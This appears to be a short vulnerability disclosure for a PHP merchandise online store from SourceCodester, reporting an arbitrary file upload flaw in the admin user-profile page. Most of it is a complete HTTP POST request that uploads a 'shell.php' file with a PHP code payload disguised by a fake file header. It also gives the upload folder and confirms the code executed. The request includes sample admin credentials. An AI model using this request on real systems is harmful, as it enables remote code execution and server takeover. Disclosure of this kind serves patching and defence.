Author : ffYYy6x0y1
vendor: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html
Vulnerability url: http://ip/vloggers_merch/admin/?page=user
Loophole location： There is an arbitrary file upload vulnerability (RCE) in the user profile upload point in the system information.
Request package for file upload：
POST /vloggers_merch/classes/Users.php?f=save HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/vloggers_merch/admin/?page=user
Content-Length: 728
Content-Type: multipart/form-data; boundary=---------------------------972285327633
Cookie: PHPSESSID=ikts6n5evd3ahejiopufg6114g
Connection: close
-----------------------------972285327633
Content-Disposition: form-data; name="id"
1
-----------------------------972285327633
Content-Disposition: form-data; name="firstname"
Adminstrator
-----------------------------972285327633
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------972285327633
Content-Disposition: form-data; name="username"
admin
-----------------------------972285327633
Content-Disposition: form-data; name="password"
admin123
-----------------------------972285327633
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
-----------------------------972285327633--The files will be uploaded to this directory \vloggers_merch\uploads
We visited the directory of the file in the browser and found that the code had been executed
